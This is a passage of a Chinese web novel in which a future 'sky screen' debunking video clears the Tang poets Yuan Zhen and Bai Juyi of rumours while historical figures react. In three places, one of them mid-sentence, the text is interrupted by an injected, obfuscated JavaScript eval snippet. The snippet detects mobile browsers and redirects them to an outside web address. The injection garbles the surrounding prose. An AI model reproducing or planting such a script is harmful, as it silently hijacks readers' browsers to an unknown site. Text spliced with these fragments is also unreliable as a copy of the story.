那毕竟已经是过去的事了。 【河北平叛,王进岌、王位等二千余人因忠于朝廷被叛军杀死,卢士玫平叛未果被囚,病重的魏博节度使李愬把家传宝剑交给将领牛元翼,求他救救河北,救救大唐。 新任魏博节度使田布刚到任,就散家财招兵马,亲赴前线救援深州。 而裴度在战场外按兵不动六十一天,写了三篇弹劾元稹勾结宦官阻挠平叛的表。 直到裴度起兵攻河北,傅良弼、李寰已经抗击叛军两个月,牛元翼已经深陷敌营被围四十五天,连田布这位新人,都已经出师二十多天。 河北平叛中谁有私心一眼便知。】 自己在士林中的名声又会遭到损伤了。 裴度闲适地想着,却听到有人禀报,王守澄登门。 王守澄也是笑着的,他落座裴度当面:“裴相公,那些监察御史风闻奏事,又该弹劾你罔顾国家了。” 下人来倒上一杯茶水,王守澄拈起茶杯,皱了眉。 “相公竟然喜欢喝清茶?这样寡淡没意思的东西,哪里比得上配香料的煎茶?” 裴度哈哈一笑:“惜乎这是在我的府上,给不了煎茶了!” 王守澄也哈哈笑:“裴相公当真是清流!” 【按照元稹的交友看,他应当在牛李党争中偏向李党一派。虽然他活着的时候党争还没完全爆发,但党争中赫赫有名的那些人却和他同一时代。 元稹好友李绅曾经是他岳父韦夏卿的幕僚,他们关系亲近,李绅也在元稹名作《莺莺传》中附了诗作。李绅可谓李党中流砥柱。 元稹在翰林院与李绅、李德裕交好,李德裕更是李党领袖。 李党人士多不结交宦官,反而是牛党要员多以结交宦官著称。 经过两个直接证据和一个间接证据的辨析,我们论定,元稹结交宦官图谋高位,假!】 清朝,一生坚持抗清的王夫之在病痛中回望人生,撕碎了他《读通鉴论》初稿中那几页纸。 明灭的火盆里跳动着鲜红,吞噬了那上面的字句。 “穆宗在位四年耳,以君子,则裴度也,李绅也,韩愈也;欲为君子而不驯者,李德裕也;以小人,则李逢吉也,元稹也,牛僧孺也,王播也,李宗闵也。” 他反清复明不得,心中郁结多年,如今重病缠身,只怕多年的研究会和明朝的崩塌一般消失。 他便着急拟了《读通鉴论》稿,笑自己在林泉中还当着一个俗世俗人,带着刚才烧的那几页书,也沾上了俗气。 现在用他一生的阅历看去,那话非黑即白,简单的过分了。 他对于元稹的看法也一向是鄙夷的。为一己私利阻挠国事,这项罪名,足够让一个一心为已亡之国的遗民恨他了。 唐啊,强啊;唐末宦官,横啊。 明啊,强啊;明末宦官,恨啊! 从古代的历史看到了明朝的影子,这让他如何不迁怒!在他人生的末尾,难以认真长时间思考时翻出这事,叫他如何不怨恨! 好在初稿未完,天幕现世。天幕说着要帮元稹翻案,说他是正道直行、刚硬坚强了一生。他抱着怀疑仙人的想法去看天幕,最终却怀疑了史书,怀疑了自己。 他家风清正,父亲多次拒绝贿赂官员,自己武装抗清,多次被通缉。 而他在天幕的分析中看到了一个新的元稹,揭露时弊,积极平叛。 ……那也是他自家的影子。 作为史学大家,他岂会盲从?而天幕解了他对于《资治通鉴》中与《旧唐书》一脉相承的崔潭峻入朝时间之惑,想来真是对的。 那他的《读通鉴论》这部分合该重写。 王夫之咳了两声,对着盆中翻涌的火星落下笔。 “元稹,君子也。” 13.元稹(11) 【郭德纲有句话说得好,什么是大师?大师就是活的久的人。 大师活的久,就可以随意操弄死人的身后事。这一点上,不管是《穆宗实录》、《唐会要》,还是新旧唐书、《资治通鉴》都是一样的。 区别无非在于前两者是恶意抹黑,后三者是采信谣言。 这怎么不是一种“但令识字者,窃弄刀笔权”①。】 司马迁为之侧目。 先前天幕对历史真相的追求让他欣赏,后人窃居史官而胡乱发言令他激起义愤,忍不住对着那些劫道的贼人下了重手。 郭德纲此言恰如一盆凉水泼下,使他清醒,清醒到脊背生寒,口舌生燥。 这就是后世学者之言吗?未免太锥心刺骨。 于是司马迁牢牢把“求真”二字刻入他的脊髓,又将尸体拖到路边丛林里,向东去了。 那里有炊烟,有一餐热饭,有他想寻觅的历史传说。 元稹对于勾结宦官那事,说是在听,实际上是边听边走神。 他对自己的品格太自信了。勾结宦官这种一听就是坏事的事,他确定自己肯定是不会去做的。 他母亲却把耳朵高高竖起,不放过天幕风吹草动……他甚至看到她把“天幕停顿”都记到了笔记上! 元稹目瞪口呆。 白居易打好腹稿想来安慰人,被元稹呆了的表情一吓,本能地想笑他。 电光火石间他想起自己可是在灵堂之前,遂挑了个没人的方向把嘴唇往下拉了拉,又在心里向韦夏卿告了声罪。 “微之,你这是被后人冤枉成呆头鹅了吗?难道未来人替你张目,竟然要用你的慧根来还?” 元稹告饶:“乐天可别取笑我。你我相交三年,也知道我是怎么样的性格。我怎么会被后人的误解弄成那副样子?” 他悄悄指向郑兰芝的桌案。 看见上面密密麻麻的字,白居易把自己代入元稹,变成了第二只呆头鹅。 【最后我们就要来讲一下元稹排挤张祜的事了。 这件事听名字应该是和李贺一个量级的事情,凭什么就能在视频里获得压轴这一殊荣? 因为这件事本来就是所有谣言里最特殊的。 它是不是谣言,存疑。 虽然是真的可能性不大,也损害不到元稹的名誉。但为了稳妥起见,up还是把它放到了最后。 根据峰终效应,人们对一段体验的记忆和评价主要取决于体验过程中的最高峰和结束时的感觉,而并非整体的平均感受。 为了让大家不被慷慨激昂的结尾勾引到不思考就认为元稹一定不可能做这种事,up含泪放弃了第一版,把这一段放到了结尾。 大家可以尽情思考哦~】 张祜听到自己的名字,抬头看天。 天是蓝的。 名家出身的张公子看惯了这样的蓝色,于是希冀有一天天幕会在黄昏降临,去配宫样的云彩和橙红的艳色。 那才是仙人该有的尊荣。 天幕说元稹排抑他,虽有可能但不大,张祜听闻后也只是嗤笑。 他是名家出身,他是天生才子,这天下岂有他做不了的、得不到的! 区区一个元稹,怎么能排挤的了他! 那一席“峰终效应”的阐释吸引了历朝历代的小说家们。他们如获至宝,载欣载奔,也不顾去记天幕口中那些能当小说素材用的故事,纷纷构思起如何把这一真理应用于自己的故事。 一顿饱与顿顿饱,这个当了不知多少个寓言结尾的道理,他们可是在笔下写了多次,怎能不知! 有些惯会摩弄人心的却想,为什么后世人要把这些顺序先后讲的那么清楚,像是要掰碎了揉进看官口中? 这于他们,至于是个无足轻重的决定。一个能掌握贯穿时间力量的人,为什么连自己的一字一句都要向大家解释? 她到底在恐惧些什么? 思索间,天幕已经将这次要辩驳的文本放出。 “张祜,元和、长庆中深为令狐文公所知。公镇天平日,自草荐表,令以新旧格诗三百首随表进献。辞略曰:‘谨令录新旧格诗三百首,自光顺门进献,望请宣付中书门下。’祜至京师,方属元江夏偃仰内庭,上因召问枯之辞藻上下,对曰:‘张祜雕虫小巧,壮夫耻而不为,或奖激之,恐变陛下风教。’上颔之,由是寂寞而归。祜以诗自悼,略曰:‘贺知章口徒劳说,孟浩然身更不疑。’” 【元稹排挤张祜流传最广的记载来自《唐摭言》卷一一。 我想大家已经知道我要说什么了。是的,这篇文章里有三个明显的错误。 第一,说元稹“偃仰内庭”,勾结宦官这事情我们刚刚讲过,假的。 第二,文中说令狐楚当天平军节度使时推荐了张祜的诗文,可令狐楚是大和三年十二月至六年二月当的天平军节度使,不是文中的“元和、长庆中”。 时间错了。 第三,该文最后的诗句出自张祜《寓怀寄苏州刘郎中》,此诗题下著明“时以天平公荐罢归”。这次经历应该是《唐摭言》引文的灵感。 但张祜写这首诗是写给苏州刺史刘禹锡的,刘禹锡当苏州刺史的时候,元稹已经死了……死了…… 让我们恭喜元稹!继让死人介绍对象、喜欢上一个卵子、排挤一个死人以后,他又成功挑战不可能:作为死人排挤一个活人! 啊!既然《唐摭言》的真相这么离谱,为什么up还要说此事存疑? 因为《唐摭言》引文的另一个灵感来自于皮日休的《论白居易荐徐凝屈张祜》,这篇的真假up不敢妄断。 毕竟皮日休真的算是张祜的朋友。】 “没写过。”皮日休迎着陆龟蒙疑惑的眼神,坦然翻白眼。 “我就说!我们相交多少年,我从来没见你写过这篇文章。” 陆龟蒙长舒一口气,接着天边云雾,一口投酒进胸膛。 酒水在他们胸腔里撞击,下落。回音被遗失,如陷进泥淖里的大唐百姓。 天幕对元稹离谱谣言的总结让他的政敌们的嘴角也抽搐起来。 令狐楚很高兴自己未来仍然是一方大吏。他虽然厌恶元稹在受他举荐后居然接受皇命去拟贬谪他的诏书,但在未来诡异的谣言洪流面前,恨意滋生的土壤好像也被冲走了。 他不禁同情起元稹。 裴度赶走来上门嘲讽的王守澄,自认为表达出了自己的态度:此时和宦官一起拥立新帝只不过是权宜之计,前朝后宫永远是相对立的! 听着天幕讲到张祜,他也只在原地点头。张祜擅写宫词,不被提倡写诗要亲近民生指刺时弊的元稹所欣赏是一件很正常的事,倒也谈不上什么特意排挤。 大概元稹只是和当年用科举案指桑骂槐一样,在皇帝面前直言了他对张祜的真实评价,就被对他有所成见的后人歪曲成了故意排挤。 于是裴度笑吟吟继续听,听到天幕口出狂言后默默收回了笑容。 微之……这样的人间,真的值得拯救吗? 【皮日休是一个好人,他的小品文被鲁迅评价为唐末“一塌糊涂的泥塘里的光彩和锋芒”。 皮日休欣赏张祜,在张祜去世后给他写了挽诗。 这样一个不会因为私情诋毁人的人,应当不会特意去构陷和他年代相近的元稹。可惜排挤张祜一事还是不能盖棺定论,因为皮日休写没写过《论白居易荐徐凝屈张祜》甚至也存疑。 毕竟这篇文章不被收录在他的自编文集《皮子文薮》中。 这之后又能引出两个可能。 如果他写过这篇文章为真,损害不到元稹的名誉。 《论白居易荐徐凝屈张祜》,看名字我们就能知道,它讲的并不是元稹因私情排挤张祜。这只是一篇客观讨论为什么白居易要向中央推荐徐凝,而不是张祜的论文。 “乐天方以实行求才,荐凝而抑祜,其在当时,理其然也。” 元稹和白居易在文学主张上同气连枝。白居易不推荐张祜,在欣赏张祜的皮日休眼中已经是“理其然也”。元稹不欣赏张祜的文学主张,甚至如文中一样对皇帝说这是“雕虫小技”,“或奖激之,恐害风教”,自然也是一件很正常的事。 而且皮日休在这篇文章里也写了这样一句话: “元白之心,本乎立教,乃寓意于乐府,雍容宛转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032026|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之词,谓之讽谕,谓之闲适。” 皮日休是对元白行为持肯定态度的,是后人囿于元稹日渐狼藉的声名,才把“排挤张祜”作为元稹的黑点大肆传播。 如果他写过这篇文章为假,更损害不到元稹的名誉了。 毕竟连唯一可信的论据都是假的,这件事情还能掀起什么水花呢?】 元稹回灵堂去跪着了。 他真的不想再看到外面那些人自认为掩饰得很好的同情目光了。 原先谋刺裴度、勾结宦官,他忙着愤慨,自认持心极正。外面那些人也跟着辩驳以元微之的个性,怎么可能做下这些事。 那时他们的眼神都是坚毅的,青年人的血性烧到眼睛上,愤怒到像在冒火。 他多怀念那时候的人们啊! 自从天幕把张祜的事情剖开来讲,将其中透顶的荒谬摊开晒在阳光下,人们的眼神就变成了…… “啊,他真可怜。” “这就是我朝最值得同情的人。” 青年人的锋锐或许能和邪恶争锋相对,但面对汹涌的、居高临下的怜悯时,无所适从好像也成了一种罪过。 张祜听罢天幕,磨了磨牙。 元稹?同情?这件事有本朝那么多人去做,先扔一边去。 他这么一个不世出的天才,真的仕途不顺? 若要去求仕途,难道他要去学元白那些通俗平易,不究炼字的诗文吗? 张祜摇摇头。十来岁的他没受什么世情的琢磨,没有经过在各节度使幕间流浪的岁月。他只认定他的才华必定会如囊中之锥,会从一群俗人里脱颖而出。 【下面是我们的保留项目~ 张祜,字承吉,唐代文学家。出生在清河张氏望族,家世显赫,被人称作张公子,有“海内名士”之誉。 张祜的性情孤傲,狂妄清高,不肯趋炎附势。他入不得官场,却多次受辟于节度使,沦为下僚。晚年隐居丹阳曲阿,以布衣终。 张祜早期擅长写艳丽精巧的宫体诗,晚年多写沉静浑厚的五言律诗。 他的诗歌风格独立于当时的主要诗派,既不完全属于元白诗派的平易通俗,也不完全契合韩孟诗派的奇崛险怪,形成了独特的“清丽沉雄”风格。 我们就放一首他的《题润州金山寺》: 一宿金山寺,超然离世群。 僧归夜船月,龙出晓堂云。 树色中流见,钟声两岸闻。 翻思在朝市,终日醉醺醺。】 这竟然会是他写的诗? 张祜从塌起身,前后走两步,确认了自己的脚站在地面上。 他问身边的小厮:“天幕上次出现到如今,你可有长高?这一个月的时间是不是我在做梦?” “公子,我今年十八,年年长高都要成巨人了!倒是公子你,好像是高了几分。” 这件事是真的啊…… 张祜眼前一阵阵晕眩。天幕是真的,那就是他未来的人生里才华无用,他没办法靠才华把自己送上那条通天大道。 怎么……怎么会这样呢? 他自恃才华,从来不屑去练习那些制试的诗文。他心目中自己的未来,应该是名满天下、朝廷征辟才对。 性情孤高有什么错呢?不趋炎附势有什么错呢?“海内名士”这个称呼,还配不上一个官位吗? 不…… 可能在那个黑暗的朝廷下,确实是配不上的。 会说真话的人,是最配不上官位的人了。 【谣言误我! 怎么样,看到这里的网友们有没有和up一样的感叹? 元稹一生正直,却被写作小人遗臭万年。所幸在我们这一代出现了转机,他拥有了丢掉他头上破烂名声的可能。 感谢所有看到这里的人!感谢大家支持元稹辟谣! 一键三连,谢谢大家! 这一篇视频,我们就以元稹自己的诗作为结尾吧!】 天幕黑暗下去,一行狰狞的字从暗色中挣扎出来。天上的云默默开始飘散,露出那话。 【微哉满山鸟,叫噪何足听!② ——赠那些乱编乱写的小人】 14.间章 天幕消失在天上,李纯扭扭发僵的脖子,女官奉上誊抄的文字。 俗话说一回生二回熟。李纯屏退他人,点开小天幕,找到后人评论,一套动作行云流水,丝滑顺畅。 工整的楷书摆在案前,李纯没扫上一眼,只去看评论。 上上下下的评论比上次只多不少。李纯皱着眉头划过了好几个粉发白发红发的少男少女,既看到传统的“不要ky”,又看到有后人夸他们“真美”、“真帅”。 李纯大惊失色! 身体发肤,受之父母,不敢毁伤。这些人染了头发也就罢了,竟然还把头发剪到短至肩头!后人还这样夸他们! 还有这腿脚为什么是露出来的?真是世风日下,伤风败俗! 李纯眯眼细看,认定是番邦人的喜好带坏了泱泱大唐那些能书会写、才华横溢的后人。 他听过了万国来朝的时代,见过了马蹄声中的悲鸣,可后人依然传颂着唐朝的故事,大唐依旧有未来。 必然是番邦引诱了他的子民! 李纯继续往下翻,看着那个叫“车”的东西蠢蠢欲动。 这东西有轮子,在陆地行走却不用牛马一类的畜力,想来速度也不会太快,是给后人彰显身份用的。 若是自己是后人的皇帝,应该就能享受到这造型优美流畅的东西吧…… 如果自己有“车”,一定要造成红的,这才雄伟壮观。评论里灰扑扑的车实在不能彰显天家威严,只会让天潢贵胄泯然众人。 李纯暗暗想着,手上动作不停。 突然,他的眼睛亮了,亮得和方才直勾勾看着“车”时的气势有得一拼。 他凝神片刻,点进评论。 那使九州震动的天幕制造者终于露出了她的只鳞片爪。 —— 陈钰从电脑前起来,揉捏既酸且痛的手指。 从指腹捏起,慢慢往上,每个关节每根手指都捏一遍。捏完却还是酸酸痛痛,要脱节了一样。 她长叹一声,认命般的趴回电脑前,继续操作手机删除ky评论。 如果可以,哪个up主不希望自己评论区欣欣向荣蓬勃发展,可她的评论区就是这么一副勃勃生机万物竞发的兴旺模样。 简直让人想多说几句优美的中国话。 她原以为自己上一个视频关闭了评论区,大家就能知道她的意思的。 这么一边删评一边走神,陈钰看到了一个来找她聊天的评论。她迫不及待点进去,和网友进行交流。 网友:元九写完了,除夕大大还打算出别人的辟谣吗? 陈钰:打算!历史上以讹传讹的东西太多了,现在一堆营销号又乱搞。。。说真的查了这么多资料,我近期内再也不想见到元稹这两个字了! 网友:哈哈哈辛苦了,下一期打算出谁的? 陈钰:白居易。。。 网友不语,只是一味发来图片。 “#盘点中国历史十大渣男 2:元稹 3:白居易” 到底是怎样的挚友情,让人活着彼此交心,死了还要一起被造谣! 陈钰热泪盈眶。 刚要打字抒发感情,陈钰却看到这楼里又来了一个新人,再一看,那新人竟然叫李纯! 那可是李纯,把元白刘柳韩都贬了一遍的唐宪宗李纯诶! 立春居然都有语C了? 陈钰定睛看去,只见那李纯的语C发言也非常符合李纯的性格,看完视频后不问别的,单单问起了元和末年宫变。 与本楼楼主赛博抱头痛哭一阵,陈钰还是给了“李纯”回复——尽管她怀疑这个顶着电视人头像的语C是那个专门扮演古代皇帝的ky语C组织的一员。 “元和宫变其实也是一个很复杂很模糊的事情。 唐宪宗可能是因为丹药服食过度暴毙(《旧唐书》记录),但唐宪宗服用丹药后几个月还能理政,健康状态不错。所以他是不是真的成了反应堆暴毙存疑。 那时候李恒与李宽争储,唐宪宗死前急召曾被贬黜的宦官吐突承璀执掌左神策军,但他一驾崩,吐突承璀与他支持的李宽马上被杀。 宦官陈弘志、梁守谦等拥立李恒继位。李恒登基后重用了弑君嫌疑犯陈弘志,治丧期间还举止轻慢,却对母亲郭太后非常孝顺。 而且后来同为唐宪宗儿子的唐宣宗李忱薄待郭太后,还不让郭太后和唐宪宗合葬。唐宣宗此举可能是因为怀疑唐宪宗死于非命,郭太后参与了弑君。 但宣宗与郭太后之过节更大的原因可能是宣宗母亲郑氏是郭太后侍女出身,宪宗在郭太后的住所临幸郑氏,明显是在打郭太后的脸。郭太后因此薄待郑氏母子,郑氏在宪宗一朝也没有名分,默默无闻。 于是宣宗即位后就开始针对郭太后【面无表情的笑】” 陈钰打完一大段长句,转转手腕,继续去清理评论。 你们搞名人语C就搞名人语C,为什么还要用别人的名字讲自己的话啊! 看看这个“曹寿”,再看看这个语气,刘佩奇你又发扬优良品格,干坏事就报你姐夫名字? 看看这个“大将军朱寿”,这不就是明武宗朱厚照吗?你又披个马甲跑到网上“御驾亲征”了? 陈钰不语,只是一味的删评。 —— 这次的小天幕甚是奇异,他点进评论,却跳出一个小框让他填写名称。 不过这也无伤大雅,李纯输了自己的名字,看到了元和宫变的始末。 这up还是一贯的风格,不允许任何纰漏存在。 尽管她说他可能是因为丹药暴毙,但在李纯看来,不管是李恒的不孝、李恒对杀父仇人的重用还是李忱逼杀郭氏,最终都导向一个结果! 郭氏……李恒……宦官…… 恶妇逆子刁奴! 但李恒是谁?up所说的宫人郭氏,真的是与他一路相伴的郭太子妃,现在的郭贵妃吗? 郭家向来行事低调,深谙如何在帝王面前保全家族。郭贵妃也温柔贤淑,即便他忌惮郭氏势力没立她为后,她也毫无怨言。 他感于她的深明大义,常常和她说只是没有皇后的名份,她的一切待遇权力都是和皇后相同的。她也只是笑笑,在他面前温柔小意。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15049630|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这个军旅家族出身的女子为他磨去了棱角。 真的是她吗? 怀疑郭贵妃,找不到李恒,李纯只能磨着牙对宦官开刀。 明明郭贵妃嫌疑极大,他却依然信重她,这是多深厚的情谊啊! 李纯自我感动着。 而后他收到了更多回复。 “立春,你快把中唐F5召回长安啊!” 可惜李纯所在的时代阿拉伯数字还没传入中国,这句话在李纯看来便是这样的: 立春,你快把中唐口口召回长安啊! 何为中唐口口?听后人的语气,这中唐口口定是贤臣。 “中唐F5,元白刘柳韩,全是你贬的,立春好似谢谢。” 原来这中唐口口是五个并列的人! 元白,他知道,这两人被天幕提了无数次。但刘柳韩又是谁? “汉桃花帝和柳皇后”? 李纯汗毛倒竖,想来这奇怪的东西竟然不是后人乱写,是确有其人。结合线索他们几个人都被自己贬过,刘柳之间关系又极好。 他不禁想到自己的“仇人”,二王八司马中的朗州司马刘禹锡和永州司马柳宗元。 不管这对刘柳如何,先定削弱宦官再投靠宦官的“二王”之一王叔文是傻X。 李纯坚定这个认识不改,持续深挖二王八司马改革纲领、改革措施和团队文化,启动双向赋能型人才拓扑评估体系,重点观测刘柳在混沌系统中的价值锚定能力、在范式革命中的认知跃迁速度、在压力测试下的信仰熵减系数,最终得出这样一个结论。 不用管他们,有真正济世之才的贤臣们会抱着功绩自己来找他的。 他可是皇帝呀! —— 另一时空,盗墓贼用手上的燧石点燃墓穴里的竹简,借光行动,务求快去快回。 他踢开反光陪葬品边的陶片,将墓里的小件金银搜刮一空,大件东西上的金银也是能撬则撬。无价的瓷器和珐琅器被直接推倒,成为地上碎片的一部分。 外面没吃没喝,到处都是大头兵。现在不趁着还有力气拿点东西,难道还等着自家人像隔壁老李头一样真成了柴火吗? 他捡起陶片往外一扔,浑浊的眼睛刹那掠过一阵光。眼前的东西密密麻麻,像极了县门口他看不懂,却见到就啐两口的加税告示。 这会不会是墓主人生气……给他的告示? 他马上转头跑回盗洞,拉着绳子向上蹬腿。上面的同伴和他说天幕又来了,他却和他们说见鬼了。 众人分赃成鸟兽散,只有地下的陶片还发着微弱的光。 【样本一 研究以李纯元和朝为主,李湛宝历朝/李昂大和朝为辅,探讨人类对历史的偏差影响。 总结事实变化如下: 一:李纯对宦官集团态度改变,意图扶持更易解散的女官代替宦官,可用于研究生死对人类最高统治者的影响、皇权变异的更多形态。 二:韦夏卿延寿,李逢吉卸官,此二事因人类对天幕敬畏而改变,可用于研究人类鬼神观的影响。 三:……】 15.白居易(1) 陈钰从梦中醒来,恍惚间又想起自己的梦境。 梦境不瑰丽,不华美。那里不是任何一个少年人常见的美满或悲伤的想象,只是一个人在墓里徘徊。 那真的是今天的梦吗? 陈钰揉揉眼睛,坐起又慢慢躺下,搜索她不算清晰的记忆。那似乎确实不是今天的梦,那是好久以前…… 遭了,更新! 因为更新当天晚上做的梦被翻出来而为自己疯狂拖更心虚的某鸽子抱紧了自己。 —— 元和元年,天幕已经消失两个月,人们生活依旧。 天幕是上天恩赐,哪能天天都有呢?况且按天幕的意思,“元稹”的故事已经结束了。 就连两京最有时间的富贵闲人也能拿出这理由劝自己,说天幕不再出现,实在太正常不过了。 而且这几月,这群时间欠打发的人们也并没有靠发呆虚度时光。名臣蒙受不白之冤千年是一个多好的素材,写书的人怎么可以错过? 元稹就被迫一遍又一遍以魂灵的模样出现在后世皇帝面前陈情,被后世皇帝翻出旧书指出谣言漏洞,在天下人面前沉冤昭雪。 最近元稹非必要都不想出门了。 当年《莺莺传》风行,面对人们的仰慕和欣赏,他可以宠辱不惊,也能陪着他们志得意满,可如今这事,实在…… 他便借天幕一词以蔽之吧。 “离谱”。 自从郑兰芝来长安后,元家的宅子里就多了几个下人。这偌大的宅子总算有人气了点,不像原来,空落落的。 她是四个男孩两个女孩的母亲,元稹从不担心她和韦丛、和孩子们的相处。她们都是温柔的人,聊少年聊持家聊育儿经都能聊上许久。 毕竟他的母亲可是为女为妻为母都有贤名的人,天上有地下无;茂之也是他最贤惠体贴的妻子,钟灵毓秀天下无双! 唐朝官员岳父去世,需服缌麻之丧,丧期为三个月,不需要解官守孝。 于是元稹这么想着,把宅子的门一关,视死如归上班去了。 进店,吃胡饼,麻木地给店里带一波人气。 吃完,去官衙,路遇御史打招呼时用袖子遮住嘴——官员在行走路上吃东西会被弹劾,元学士不敢保证自己脸上一定没有饼渣子。 进翰林院,整整藏书,写写诏书,下班顺手带回一个白学士。 路遇白学士的弟弟白校书,白校书抱着文稿插进他们的队伍。 一群长安名人走进宅子,闭门谢客。白行简把《微之小传》的书稿往桌上一铺,供几人翻看。 春风翻开书稿,可那掀起的一页页纸被一只带着粗大青筋的手按了回去。春风带着委屈,默默离开了院子。 苍老的手拾起书稿,一页一页贪看着这本用来证明儿子清白的小说。白行简仗着自己校书郎的清贵闲职,四处奔波取材,才得了这么一本证明《莺莺传》不是元稹自寓的小说。 或许儿子不在乎身后名,长大后犯颜直谏,得罪那么多人,可他们在乎。 《莺莺传》自寓这一历史疑案,由此刻而生,也该由此刻作结。 郑兰芝审着白行简的稿,一页一页往后翻,把时间从大历十四年翻到现在。她翻过现在,见到文稿之后,还有未来。 这未来是……《试论〈莺莺传〉自寓》? 郑兰芝心里泛起惊涛骇浪,继续翻看下去。 “元稹,长安之善属文者。贞元十八年,稹作名篇《莺莺传》,名动长安,一时海内传抄以万计。 《莺莺传》传主崔氏,美姿容,饶词辩,有谢女咏絮之才,红拂夜奔之勇。恰元稹为长安美人,余固戏曰:“汝元氏莺莺耶?” 郑兰芝把后面的文稿塞进元稹手里,前面的文稿放入韦丛手中,自己闭目养神。 白居易原来还笑着看郑兰芝随着翻看文稿慢慢展开的眉目,再与元稹略聊两句翰林学士所写诏书揭示的朝廷动向,慢慢聊到五坊小儿被皇帝废除,为受宫市所苦的百姓们松了一口气。 元稹接过文稿,白居易看着他突然站起,拉直嘴角,用泛白的手指捏住纸页,抬头向白行简划去眼刀子。 莫不是知退又写了什么,让微之那么生气? 明明《微之小传》也被他审过一遍。那书中语言平实、证据严谨,没写什么以讹传讹的奇怪东西。 韦丛从《微之小传》里抬起头,见到发怒的丈夫,走到他身后。元稹却把文稿向下一按,拍在桌上。 韦丛眉头一皱。 “太原人白行简,品性卓然,才纵天成。《李娃传》,行简所作,言李氏节行瑰奇,乃自夸也。” “汝,白氏娃耶?” 这话问得白行简一震。他拼凑起被惊讶震碎的心态,颤颤巍巍看到那张被元稹掩藏得一个字都看不到的小论,看到元稹后面捏着衣服忍笑的韦丛。 他……把这稿子也带来了? “微之你听我解释!” 【从前有一个美女……】 元稹带着怒火抬头看天,白行简也以手扶桌抬起头来。 天幕……救我…… 【从前有一个美女,当了高官的小妾,高官死后美女十分伤心,立誓不嫁为他守节。】 地上的人们称赞起这个美女的贞洁。妾是奴仆,可以随意买卖,而她竟然与她的主人那么相爱,在青春鲜妍的年华为老头守节! 他们可是能看出来,天上脑袋圆圆、奇奇怪怪的画中人,就是一个青春美女,一个耄耋老头! 【但是高官儿子有个当天下文宗的好朋友,朋友一看美女守节,也知道美女文采出众,就给她寄了一封信,委婉问她为什么不去殉情,这样的你有什么脸面活在世上? 美女很伤心,回信后自杀了。】 “这卑鄙小人还能当天下……” 裴度拍拍给他送行的朋友肩膀,在朋友的不解中道:“天幕是辟谣的,此时所说未必真实。” 人生聚散朝暮,既然送行途中天幕留客,去西川武元衡帐下做幕僚的行程,还是等这次与友人听完天幕再开始吧。 裴度饮下一杯酒,与友人碰杯,再饮。 【怎么样,大家是不是对这个文坛领袖气的牙痒痒?那这件事到底真不真呢? 假的。 大家好我是辟谣区up主除夕,今天我们要讲的是“广大教化主”白居易,刚刚的剧情取材自著名谣言“白居易逼死关盼盼”~】 白居易猛然抬头。刚才他有多同情那位才女,现在就有多惊讶。 “后人眼里的我,就是这样的卑鄙小人吗?” 不对,不对,天幕明明说过,他在后人眼里是一个近乎完人的存在。他的道德甚至可以让后人无证据地怀疑元稹身上的谣言,因为白居易不是一个会乱交朋友、乱夸赞别人的人。 那就只能是后人把自己的迂腐安到他身上,就像奸臣把自己的罪责推到了元稹身上。 元稹仍然生气,但那一口气被天幕近乎打散。此时他对白居易的担忧已经完全压过对白行简的恼怒。 “乐天自然不是这样的人。你是后人的广大教化主,是后人在朝在野在诗在文的典范。那些小人只怕是忌惮你的清白无瑕,才编出这些东西妄图把你拉进泥淖。” 许多宫里宫外的人听到这一段,纷纷大叫起来。 白居易被冠上“广大教化主”这个不像属于人的称呼,他是不是……成仙了?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065203|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他像德宗年间蜀地女冠谢自然一样,未来也会白日飞升吗? 后人竟敢诽谤仙人!呸! 【白居易,大家都十分熟悉。从小时候开蒙的《赋得古原草送别》,到长大后的长篇叙事诗《琵琶行》,我们的生活中到处都有他的踪影。 斯人已逝,诗文长存。白居易是海外最出名的中国作家,日本人称白居易为“日本文化的恩人”。 白居易的名字还被送上了水星。1987年,国际天文联合学会把水星表面的一座环形山命名为“白居易环形山”,或许现在,白居易就在天上看着我们。】 成仙了!果然成仙了! 水星,又称辰星,由司马迁《史记·天官书命名。《五星占》有记载:“北方水,其帝颛顼,其丞玄冥,其神上为辰星。” 百姓们欢呼雀跃,只道白居易既然在天上,必然是或白日飞升,或尸解羽化。凡人成仙之说一定是真的! 元稹从屋里出来,左手拿墨,右手持笔砚,肘里夹了一叠纸。白行简见他拿了这些出来,连忙借笔墨,就着纸写。 “后人说兄长成了辰星上的山,应该不是白日飞升,是后人把那座山用兄长命名。” “乐天之名经久不朽……茂之!” 原来自从元稹去屋里拿笔墨纸砚,韦丛就将被元稹遮挡在桌上的稿子拿起来看。不负她所望,白行简写在纸上的,果然是元莺莺。 